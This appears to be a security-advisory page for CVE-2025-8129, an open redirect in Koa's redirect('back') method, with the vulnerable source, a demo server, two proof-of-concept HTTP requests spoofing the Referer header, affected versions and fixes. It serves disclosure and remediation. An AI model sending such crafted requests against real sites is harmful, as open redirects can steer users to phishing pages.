CVE-2025-8129: KoaJS Koa HTTP Header response.js back redirect

Published Jul 25, 2025
·
Updated

## Summary In the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target. ## Details on the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see: **response.redirect(url, [alt])** ``` Performs a [302] redirect to url. The string "back" is specially provided for Referrer support, using alt or "/" when Referrer does not exist. ctx.redirect('back'); ctx.redirect('back', '/index.html'); ctx.redirect('/login'); ctx.redirect('http://google.com'); ``` however, the "back" method is insecure: - https://github.com/koajs/koa/blob/master/lib/response.js#L322 ``` back (alt) { const url = this.ctx.get('Referrer') || alt || '/' this.redirect(url) }, ``` Referrer Header is User-Controlled. ## PoC **there is a demo for POC:** ``` const Koa = require('koa') const serve = require('koa-static') const Router = require('@koa/router') const path = require('path') const app = new Koa() const router = new Router() // Serve static files from the public directory app.use(serve(path.join(__dirname, 'public'))) // Define routes router.get('/test', ctx => { ctx.redirect('back', '/index1.html') }) router.get('/test2', ctx => { ctx.redirect('back') }) router.get('/', ctx => { ctx.body = 'Welcome to the home page! Try accessing /test, /test2' }) app.use(router.routes()) app.use(router.allowedMethods()) const port = 3000 app.listen(port, () => { console.log(`Server running at http://localhost:${port}`) }) ``` **Proof Of Concept** ``` GET /test HTTP/1.1 Host: 127.0.0.1:3000 Referer: http://www.baidu.com Connection: close GET /test2 HTTP/1.1 Host: 127.0.0.1:3000 Referer: http://www.baidu.com Connection: close ``` ![image](https://github.com/user-attachments/assets/03d1e61b-df97-4b42-a0c4-437bd17144db) ![image](https://github.com/user-attachments/assets/f4e076e0-3853-4b7a-b4c0-bddf5b67631a) ## Impact https://learn.snyk.io/lesson/open-redirect/

Affected Software

14 affected componentsFixes available
Koajs Koa<=3.0.0
npm/koa<3.0.1
3.0.1
npm/koa>=3.0.0-alpha.0<3.0.1
3.0.1
npm/koa>=2.0.0<2.16.2
2.16.2
Koajs Koa Node.js>=2.0.0<2.16.2
Koajs Koa Node.js=3.0.0
Koajs Koa Node.js=3.0.0-alpha0
Koajs Koa Node.js=3.0.0-alpha1
Koajs Koa Node.js=3.0.0-alpha2
Koajs Koa Node.js=3.0.0-alpha3
Koajs Koa Node.js=3.0.0-alpha4
Koajs Koa Node.js=3.0.0-alpha5
IBM Planning Analytics Local - IBM Planning Analytics Workspace<=2.1.0 - 2.1.13
IBM Planning Analytics Local - IBM Planning Analytics Workspace<=2.0.0 - 2.0.106

Event History

Jul 25, 2025
CVE Published
via MITRE·04:02 AM
Data Sourced
via MITRE·04:02 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:15 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:15 AM
RemedyAffected Software
Advisory Published
via GitHub·06:30 AM
Data Sourced
via GitHub·06:30 AM
DescriptionSeverityWeaknessAffected Software
Jul 29, 2025
Withdrawn
via GitHub·07:06 PM
Advisory Published
via GitHub·07:11 PM
Updated
via GitHub·07:11 PM
DescriptionAffected Software
Sep 30, 2025
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-8129?

CVE-2025-8129 is classified as a problematic vulnerability.

2

What type of vulnerability is CVE-2025-8129?

CVE-2025-8129 is an open redirect vulnerability found in the KoaJS Koa library.

3

How do I fix CVE-2025-8129?

To fix CVE-2025-8129, update KoaJS Koa to a version beyond 3.0.0.

4

What effect does CVE-2025-8129 have on applications?

CVE-2025-8129 allows attackers to manipulate the Referrer argument leading to potential redirection attacks.

5

Which versions of KoaJS Koa are affected by CVE-2025-8129?

CVE-2025-8129 affects KoaJS Koa versions up to and including 3.0.0.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203